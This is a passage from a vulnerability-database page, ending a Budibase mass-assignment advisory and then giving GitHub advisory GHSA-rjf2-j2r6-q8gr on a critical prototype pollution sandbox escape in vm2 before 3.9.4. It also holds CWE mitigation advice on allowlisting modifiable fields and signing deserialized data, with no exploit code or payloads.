      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Mass Assignment in Webhook Trigger Allows Cross-Workspace Automation Execution via appId Override"
}

GHSA-RJF2-J2R6-Q8GR

Vulnerability from github – Published: 2021-10-19 15:28 – Updated: 2021-10-19 14:18

Summary

Prototype Pollution in vm2

Details

This affects the package vm2 before 3.9.4. Prototype Pollution attack vector can lead to sandbox escape and execution of arbitrary code on the host machine.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-19T14:18:05Z",
    "nvd_published_at": "2021-10-18T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "This affects the package vm2 before 3.9.4. Prototype Pollution attack vector can lead to sandbox escape and execution of arbitrary code on the host machine.",
  "id": "GHSA-rjf2-j2r6-q8gr",
  "modified": "2021-10-19T14:18:05Z",
  "published": "2021-10-19T15:28:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/issues/363"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/b4f6e2bd2c4a1ef52fc4483d8e35f28bc4481886"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/3.9.4"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20211029-0010"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-VM2-1585918"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in vm2"
}

Mitigation

Implementation

If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.

Mitigation

Architecture and Design Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Mitigation

Implementation

Strategy: Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Mitigation

Implementation Architecture and Design

Strategy: Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list